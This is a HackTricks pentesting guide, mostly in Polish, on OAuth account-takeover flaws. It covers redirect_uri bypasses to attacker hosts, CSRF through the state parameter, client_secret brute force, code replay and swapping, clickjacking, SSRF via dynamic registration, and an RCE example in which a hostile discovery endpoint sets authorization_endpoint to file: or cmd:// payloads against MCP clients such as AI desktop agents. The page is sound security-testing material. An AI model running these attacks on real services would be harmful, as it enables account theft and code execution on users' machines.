OAuth to Account takeover

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

OAuth oferuje różne wersje; podstawowe informacje są dostępne w OAuth 2.0 documentation. Niniejsza dyskusja koncentruje się głównie na szeroko stosowanyym OAuth 2.0 authorization code grant type, który zapewnia framework autoryzacji umożliwiający aplikacji dostęp do konta użytkownika lub wykonywanie działań w jego imieniu w innej aplikacji (serwer autoryzacji).

Rozważmy hipotetyczną stronę https://example.com, zaprojektowaną do wyświetlania wszystkich twoich postów w social media, włączając prywatne. Do tego celu używane jest OAuth 2.0. https://example.com poprosi o twoją zgodę na dostęp do twoich postów w social media. W rezultacie na https://socialmedia.com pojawi się ekran zgody, określający żądane uprawnienia oraz dewelopera składającego wniosek. Po wyrażeniu zgody, https://example.com zyskuje możliwość dostępu do twoich postów w twoim imieniu.

Warto zrozumieć następujące komponenty w ramach OAuth 2.0:

  • właściciel zasobu (resource owner): Ty, jako użytkownik/podmiot, który udziela dostępu do swojego zasobu, np. postów na koncie social media.
  • serwer zasobów (resource server): serwer obsługujący uwierzytelnione żądania po tym, jak aplikacja uzyska access token w imieniu resource owner, np. https://socialmedia.com.
  • aplikacja kliencka (client application): aplikacja żądająca autoryzacji od resource owner, taka jak https://example.com.
  • serwer autoryzacji (authorization server): serwer wydający access token aplikacji klienckiej po pomyślnym uwierzytelnieniu resource owner i uzyskaniu zgody, np. https://socialmedia.com.
  • client_id: Publiczny, unikalny identyfikator aplikacji.
  • client_secret: Poufny klucz znany jedynie aplikacji i serwerowi autoryzacji, używany do generowania access_tokens.
  • response_type: Wartość określająca rodzaj żądanego tokena, np. code.
  • scope: Poziom dostępu, o który client application prosi resource owner.
  • redirect_uri: URL, na który użytkownik zostaje przekierowany po autoryzacji. Zwykle musi zgadzać się z wcześniej zarejestrowanym redirect URL.
  • state: Parametr służący do przechowywania danych podczas przekierowania użytkownika do i z serwera autoryzacji. Jego unikalność jest kluczowa jako mechanizm ochrony przed CSRF.
  • grant_type: Parametr wskazujący rodzaj grantu i typ zwracanego tokena.
  • code: Kod autoryzacyjny od authorization server, używany razem z client_id i client_secret przez aplikację kliencką do pozyskania access_token.
  • access_token: Token, którego aplikacja kliencka używa do żądań API w imieniu resource owner.
  • refresh_token: Umożliwia aplikacji uzyskanie nowego access_token bez ponownego pytania użytkownika o zgodę.

Przepływ

Rzeczywisty przepływ OAuth przebiega następująco:

  1. Przechodzisz na https://example.com i wybierasz przycisk „Integrate with Social Media”.
  2. Strona wysyła żądanie do https://socialmedia.com, prosząc o twoją zgodę na umożliwienie aplikacji https://example.com dostępu do twoich postów. Żądanie jest sformułowane w następujący sposób:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Następnie zostanie wyświetlona strona zgody.
  2. Po twojej akceptacji serwis społecznościowy wysyła odpowiedź na redirect_uri z parametrami code i state:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com używa tego code, wraz z jego client_id i client_secret, aby wykonać żądanie po stronie serwera w celu uzyskania access_token w Twoim imieniu, umożliwiając dostęp do uprawnień, na które wyraziłeś zgodę:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. W końcu proces kończy się, gdy https://example.com używa Twojego access_token do wykonania wywołania API do Social Media w celu uzyskania dostępu

Luki

Open redirect_uri

Per RFC 6749 §3.1.2, the authorization server must redirect the browser only to pre-registered, exact redirect URIs. Każda słabość tutaj pozwala atakującemu skierować ofiarę przez złośliwy URL autoryzacyjny, tak że IdP dostarczy code (i state) ofiary bezpośrednio na endpoint atakującego, który następnie może go zrealizować i pozyskać tokeny.

Typowy przebieg ataku:

  1. Sporządź https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback i wyślij go do ofiary.
  2. Ofiara uwierzytelnia się i zatwierdza scope’y.
  3. IdP przekierowuje na attacker.tld/callback?code=<victim-code>&state=..., gdzie atakujący loguje żądanie i natychmiast wymienia code.

Typowe błędy walidacji do zbadania:

  • No validation – any absolute URL is accepted, resulting in instant code theft.
  • Weak substring/regex checks on the host – można obejść używając podobnych domen, takich jak evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, lub match.com@evil.com.
  • IDN homograph mismatches – walidacja odbywa się na formie punycode (xn--), ale przeglądarka przekierowuje do domeny w Unicode kontrolowanej przez atakującego.
  • Arbitrary paths on an allowed host – wskazanie redirect_uri na /openredirect?next=https://attacker.tld lub dowolny endpoint XSS/user-content leaks the code either through chained redirects, Referer headers, or injected JavaScript.
  • Directory constraints without normalization – wzorce takie jak /oauth/* można obejść przy użyciu /oauth/../anything.
  • Wildcard subdomains – akceptowanie *.example.com oznacza, że każde przejęcie (dangling DNS, S3 bucket, etc.) natychmiast daje ważny callback.
  • Non-HTTPS callbacks – przepuszczanie http:// URI daje sieciowym atakującym (Wi‑Fi, corporate proxy) możliwość przechwycenia code w tranzycie.

Przejrzyj również pomocnicze parametry typu redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, itd.) oraz dokument OpenID discovery (/.well-known/openid-configuration) pod kątem dodatkowych endpointów, które mogą dziedziczyć te same błędy walidacji.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

Zablokowanie redirect_uri do „owned/first-party domains” nie pomaga, jeśli którakolwiek allowlisted domena wystawia attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, itd.). Jeśli OAuth/federated login flow returns tokens in the URL (query lub hash), atakujący może:

  1. Rozpocząć legalny flow w celu wygenerowania pre-tokena (np. etoken w wieloetapowym Accounts Center/FXAuth flow).
  2. Wysłać ofierze URL autoryzacyjny, który ustawia allowlisted domain jako redirect_uri/base_uri, ale kieruje next/ścieżkę do namespace kontrolowanego przez atakującego (np. https://apps.facebook.com/<attacker_app>).
  3. Po zatwierdzeniu przez ofiarę, IdP przekierowuje do ścieżki kontrolowanej przez atakującego z wrażliwymi wartościami w URL (token, blob, codes, itd.).
  4. JavaScript na tej stronie odczytuje window.location i wykrada te wartości pomimo, że domena jest „zaufana”.
  5. Odtworzyć przechwycone wartości przeciwko downstream privileged endpoints, które oczekują jedynie tokenów przekazanych w redirect. Przykłady z flow FXAuth:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS w implementacji przekierowania

Jak wspomniano w tym bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html może być tak, że przekierowywany URL jest odzwierciedlany w odpowiedzi serwera po uwierzytelnieniu użytkownika, co powoduje, że jest podatny na XSS. Przykładowy payload do przetestowania:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF — Nieprawidłowe obsługiwanie parametru state

Parametr state to CSRF token w Authorization Code flow: klient musi wygenerować kryptograficznie losową wartość dla każdej instancji przeglądarki, zapisać ją w miejscu dostępnym tylko tej przeglądarce (cookie, local storage, itp.), wysłać w żądaniu autoryzacji i odrzucić każdą odpowiedź, która nie zwraca tej samej wartości. Gdy wartość jest statyczna, przewidywalna, opcjonalna lub niezwiązana z sesją użytkownika, atakujący może dokończyć własny flow OAuth, przechwycić końcowe żądanie zawierające ?code= (bez wysyłania go), a później zmusić przeglądarkę ofiary do odtworzenia tego żądania, tak że konto ofiary zostanie powiązane z profilem dostawcy tożsamości atakującego.

Wzorzec replay jest zawsze taki sam:

  1. Atakujący uwierzytelnia się u IdP na swoje konto i przechwytuje ostatni redirect zawierający code (i ewentualnie state).
  2. Porzuca to żądanie, zachowuje URL i później wykorzystuje dowolny CSRF-owy prymityw (link, iframe, auto-submitujący formularz), by zmusić przeglądarkę ofiary do jego załadowania.
  3. Jeśli klient nie waliduje state, aplikacja zużyje wynik autoryzacji atakującego i zaloguje atakującego na konto ofiary w aplikacji.

Praktyczna lista kontrolna dla obsługi state podczas testów:

  • Missing state entirely – jeśli parametr nigdy nie występuje, cały proces logowania jest podatny na CSRF.
  • state not required – usuń go z początkowego żądania; jeśli IdP nadal wydaje kody, które klient akceptuje, obrona jest opcjonalna.
  • Returned state not validated – manipuluj wartością w odpowiedzi (Burp, MITM proxy). Akceptowanie niezgodnych wartości oznacza, że przechowywany token nigdy nie jest porównywany.
  • Predictable or purely data-driven state – wiele aplikacji wkłada ścieżki przekierowań lub bloby JSON do state bez dodania losowości, co pozwala atakującym odgadnąć poprawne wartości i odtwarzać flow. Zawsze poprzedzaj/dodawaj silną entropię przed kodowaniem danych.
  • state fixation – jeśli aplikacja pozwala użytkownikom dostarczać wartość state (np. przez spreparowane authorization URL) i ponownie jej używa w całym flow, atakujący może ustawić znaną wartość i ponownie jej używać wobec wielu ofiar.

PKCE może uzupełniać state (szczególnie dla public clients) przez powiązanie authorization code z code verifier, ale web clients nadal muszą śledzić state, aby zapobiec bugom typu cross-user CSRF/account-linking.

Pre Account Takeover

  1. Without Email Verification on Account Creation: Atakujący mogą uprzednio utworzyć konto używając adresu e-mail ofiary. Jeśli ofiara później zaloguje się przez usługę zewnętrzną, aplikacja może przypadkowo powiązać to konto z wcześniej utworzonym kontem atakującego, co prowadzi do nieautoryzowanego dostępu.
  2. Exploiting Lax OAuth Email Verification: Atakujący mogą wykorzystać serwisy OAuth, które nie weryfikują e-maili, rejestrując się tam, a następnie zmieniając e-mail konta na e-mail ofiary. Ta metoda stwarza podobne ryzyko nieautoryzowanego dostępu do konta, analogicznie do pierwszego scenariusza, lecz innym wektorem ataku.

Disclosure of Secrets

client_id jest celowo publiczny, ale client_secret nigdy nie może być odzyskiwalny przez użytkowników końcowych. Deployments Authorization Code, które osadzają sekret w mobile APKs, desktop clients, or single-page apps de facto przekazują to poświadczenie każdemu, kto może pobrać pakiet. Zawsze analizuj public clients poprzez:

  • Rozpakowanie APK/IPA, instalera desktopowego lub Electron app i grepowanie pod kątem client_secret, Base64 blobów, które dekodują się do JSON, lub hard-coded OAuth endpoints.
  • Przejrzenie dołączonych plików konfiguracyjnych (plist, JSON, XML) lub zdekompilowanych stringów w poszukiwaniu poświadczeń klienta.

Gdy atakujący wyciągnie sekret, potrzebuje jedynie ukraść dowolny authorization code ofiary (przez słabe redirect_uri, logi, itp.), aby niezależnie uderzyć /token i wygenerować access/refresh tokens bez udziału legitnego app. Traktuj public/native clients jako niezdolne do przechowywania sekretów — powinny zamiast tego polegać na PKCE (RFC 7636) do udowodnienia posiadania per-instance code verifier zamiast statycznego sekretu. Podczas testów potwierdź, czy PKCE jest obowiązkowe i czy backend faktycznie odrzuca wymiany tokenów, które pomijają albo client_secret lub prawidłowy code_verifier.

Client Secret Bruteforce

Możesz spróbować bruteforce’ować client_secret dostawcy usługi z IdP, aby próbować przejąć konta.
Żądanie do BF może wyglądać podobnie do:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:

  • Classic Referer leak: after the OAuth redirect, any navigation that keeps ?code=&state= in the URL will push them into the Referer header sent to CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to postMessage events and then send the current location.href/referrer to backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDK’s API request history/logs and recover the victim’s OAuth artifacts embedded in those requests.

Access Token Stored in Browser History

The core guarantee of the Authorization Code grant is that access tokens never reach the resource owner’s browser. When implementations cause a leak of tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:

  • Tokens in URLs – if access_token appears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties.
  • Tokens transiting untrusted middleboxes – returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
  • Tokens stored in JavaScript state – React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
  • Tokens persisted in Web StoragelocalStorage/sessionStorage retain tokens long after logout on shared devices and are script-accessible.

Any of these findings usually upgrades otherwise “low” bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.

Everlasting Authorization Code

Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:

  • Test the lifetime – RFC 6749 recommends minutes, not hours. Try redeeming the code after 5–10 minutes; if it still works, the exposure window for any leaked code is excessive.
  • Test sequential reuse – send the same code twice. If the second request yields another token, attackers can clone sessions indefinitely.
  • Test concurrent redemption/race conditions – fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
  • Observe replay handling – a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attacker’s first token active.

Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.

Authorization/Refresh Token not bound to client

If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:

  • Capturing a code for app A and sending it to app B’s token endpoint; if you still receive a token, audience binding is broken.
  • Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary state/app_id while only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens.
  • Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.

Any endpoint that exchanges code → token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Zobacz ten wpis

AWS Cognito

In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

Abusing other Apps tokens

As mentioned in this writeup, OAuth flows that expect to receive the token (and not a code) could be vulnerable if they not check that the token belongs to the app.

This is because an attacker could create an application supporting OAuth and login with Facebook (for example) in his own application. Then, once a victim logins with Facebook in the attackers application, the attacker could get the OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.

Caution

Therefore, if the attacker manages to get the user access his own OAuth application, he will be able to take over the victims account in applications that are expecting a token and aren’t checking if the token was granted to their app ID.

According to this writeup, it was possible to make a victim open a page with a returnUrl pointing to the attackers host. This info would be stored in a cookie (RU) and in a later step the prompt will ask the user if he wants to give access to that attackers host.

To bypass this prompt, it was possible to open a tab to initiate the Oauth flow that would set this RU cookie using the returnUrl, close the tab before the prompt is shown, and open a new tab without that value. Then, the prompt won’t inform about the attackers host, but the cookie would be set to it, so the token will be sent to the attackers host in the redirection.

Prompt Interaction Bypass

As explained in this video, some OAuth implementations allows to indicate the prompt GET parameter as None (&prompt=none) to prevent users being asked to confirm the given access in a prompt in the web if they are already logged in the platform.

response_mode

As explained in this video, it might be possible to indicate the parameter response_mode to indicate where do you want the code to be provided in the final URL:

  • response_mode=query -> The code is provided inside a GET parameter: ?code=2397rf3gu93f
  • response_mode=fragment -> The code is provided inside the URL fragment parameter #code=2397rf3gu93f
  • response_mode=form_post -> The code is provided inside a POST form with an input called code and the value
  • response_mode=web_message -> The code is send in a post message: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs are ideal clickjacking targets: if they can be framed, an attacker can overlay custom graphics, hide the real buttons, and trick users into approving dangerous scopes or linking accounts. Build PoCs that:

  1. Load the IdP authorization URL inside an <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Use absolute positioning/opacity tricks to align fake buttons with the hidden Allow/Approve controls.
  3. Optionally pre-fill parameters (scopes, redirect URI) so the stolen approval immediately benefits the attacker.

During testing verify that IdP pages emit either X-Frame-Options: DENY/SAMEORIGIN or a restrictive Content-Security-Policy: frame-ancestors 'none'. If neither is present, demonstrate the risk with tooling like NCC Group’s clickjacking PoC generator and record how easily a victim authorizes the attacker’s app. For additional payload ideas see Clickjacking.

OAuth ROPC flow - 2 FA bypass

According to this blog post, this is an OAuth flow that allows to login in OAuth via username and password. If during this simple flow a token with access to all the actions the user can perform is returned then it’s possible to bypass 2FA using that token.

ATO on web page redirecting based on open redirect to referrer

This blogpost comments how it was possible to abuse an open redirect to the value from the referrer to abuse OAuth to ATO. The attack was:

  1. Victim access the attackers web page
  2. The victim opens the malicious link and an opener starts the Google OAuth flow with response_type=id_token,code&prompt=none as additional parameters using as referrer the attackers website.
  3. In the opener, after the provider authorizes the victim, it sends them back to the value of the redirect_uri parameter (victim web) with 30X code which still keeps the attackers website in the referer.
  4. The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the respose_type was id_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for Server-Side Request Forgery (SSRF) attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.

Key Points:

  • Dynamic Client Registration is often mapped to /register and accepts details like client_name, client_secret, redirect_uris, and URLs for logos or JSON Web Key Sets (JWKs) via POST requests.
  • This feature adheres to specifications laid out in RFC7591 and OpenID Connect Registration 1.0, which include parameters potentially vulnerable to SSRF.
  • The registration process can inadvertently expose servers to SSRF in several ways:
  • logo_uri: A URL for the client application’s logo that might be fetched by the server, triggering SSRF or leading to XSS if the URL is mishandled.
  • jwks_uri: A URL to the client’s JWK document, which if maliciously crafted, can cause the server to make outbound requests to an attacker-controlled server.
  • sector_identifier_uri: References a JSON array of redirect_uris, which the server might fetch, creating an SSRF opportunity.
  • request_uris: Lists allowed request URIs for the client, which can be exploited if the server fetches these URIs at the start of the authorization process.

Exploitation Strategy:

  • SSRF can be triggered by registering a new client with malicious URLs in parameters like logo_uri, jwks_uri, or sector_identifier_uri.
  • While direct exploitation via request_uris may be mitigated by whitelist controls, supplying a pre-registered, attacker-controlled request_uri can facilitate SSRF during the authorization phase.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) shows how dynamic OAuth discovery becomes an RCE primitive whenever the client forwards IdP metadata straight to the operating system. The remote MCP server returns an attacker-controlled authorization_endpoint during the discovery exchange (/.well-known/openid-configuration or any metadata RPC). mcp-remote ≤0.1.15 would then call the system URL handler (start, open, xdg-open, etc.) with whatever string arrived, so any scheme/path supported by the OS executed locally.

Attack workflow

  1. Point the desktop agent to a hostile MCP/OAuth server (npx mcp-remote https://evil). The agent receives 401 plus metadata.
  2. The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. Klient uruchamia handler systemu operacyjnego dla podanego URI. Windows akceptuje payloady takie jak file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux akceptują file:///Applications/Calculator.app/... lub nawet niestandardowe schemy takie jak cmd://bash -lc '<payload>', jeśli są zarejestrowane.
  2. Ponieważ dzieje się to przed jakąkolwiek interakcją użytkownika, samo skonfigurowanie klienta do komunikacji z serwerem atakującego powoduje wykonanie kodu.

Jak testować

  • Wyceluj w dowolny desktop/agent obsługujący OAuth, który wykonuje discovery przez HTTP(S) i otwiera zwrócone endpointy lokalnie (Electron apps, CLI helpers, thick clients).
  • Przechwyć lub hostuj odpowiedź discovery i zamień authorization_endpoint, device_authorization_endpoint lub podobne pola na file://, cmd://, ścieżki UNC lub inne niebezpieczne schemy.
  • Sprawdź, czy klient waliduje scheme/host. Brak walidacji skutkuje natychmiastowym wykonaniem w kontekście użytkownika i dowodzi istnienia problemu.
  • Powtórz z różnymi schemami, aby zmapować powierzchnię ataku (np. ms-excel:, data:text/html,, custom protocol handlers) i wykazać zasięg międzyplatformowy.

OAuth providers Race Conditions

Jeśli platforma, którą testujesz, jest OAuth providerem read this to test for possible Race Conditions.

Mutable Claims Attack

W OAuth pole sub jednoznacznie identyfikuje użytkownika, ale jego format różni się w zależności od Authorization Server. Aby ustandaryzować identyfikację użytkownika, niektóre klienty używają emaili lub user handles. Jest to jednak ryzykowne, ponieważ:

  • Niektóre Authorization Server nie zapewniają, że te właściwości (np. email) pozostaną niezmienne.
  • W niektórych implementacjach — takich jak “Login with Microsoft” — klient polega na polu email, które jest kontrolowane przez użytkownika w Entra ID i nie jest weryfikowane.
  • Atakujący może to wykorzystać, tworząc własną organizację Azure AD (np. doyensectestorg) i użyć jej do zalogowania się przez Microsoft.
  • Choć Object ID (przechowywane w sub) jest niezmienne i bezpieczne, poleganie na mutowalnym polu email może umożliwić przejęcie konta (np. przejęcie konta takiego jak victim@gmail.com).

Client Confusion Attack

W ramach Client Confusion Attack aplikacja używająca OAuth Implicit Flow nie weryfikuje, czy ostateczny access token został wygenerowany konkretnie dla jej własnego Client ID. Atakujący uruchamia publiczną stronę wykorzystującą Google’s OAuth Implicit Flow, wabiąc tysiące użytkowników do logowania i zbierając access tokeny przeznaczone dla strony atakującego. Jeśli ci użytkownicy mają również konta na innej, podatnej stronie, która nie weryfikuje Client ID tokena, atakujący może ponownie użyć zebranych tokenów, aby podszyć się pod ofiary i przejąć ich konta.

Scope Upgrade Attack

Typ Authorization Code Grant zakłada bezpieczną komunikację server-to-server w celu przekazywania danych użytkownika. Jednak jeśli Authorization Server implicitnie ufa parametrowi scope w Access Token Request (parametr nieokreślony w RFC), złośliwa aplikacja może podnieść uprawnienia kodu autoryzacyjnego, żądając wyższego scope. Po wygenerowaniu Access Token, Resource Server musi go zweryfikować: dla tokenów JWT oznacza to sprawdzenie podpisu JWT i wyciągnięcie pól takich jak client_id i scope, natomiast dla tokenów będących losowymi łańcuchami serwer musi zapytać Authorization Server o szczegóły tokena.

Redirect Scheme Hijacking

W mobilnych implementacjach OAuth aplikacje używają custom URI schemes, aby odbierać redirecty zawierające Authorization Codes. Jednak ponieważ wiele aplikacji może zarejestrować ten sam scheme na urządzeniu, założenie, że tylko legalny klient kontroluje redirect URI, jest błędne. Na Androidzie, na przykład, Intent URI takie jak com.example.app:// jest łapane na podstawie schemy i opcjonalnych filtrów zdefiniowanych w intent-filter aplikacji. Ponieważ rozwiązywanie intentów w Androidzie może być szerokie — szczególnie gdy określona jest tylko schema — atakujący może zarejestrować złośliwą aplikację z odpowiednio skonstruowanym intent-filter, aby przechwycić authorization code. Może to umożliwić przejęcie konta zarówno przez interakcję użytkownika (gdy kilka aplikacji kwalifikuje się do obsługi intentu), jak i przez techniki obejścia wykorzystujące zbyt specyficzne filtry, jak opisane w Ostorlab’s assessment flowchart.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks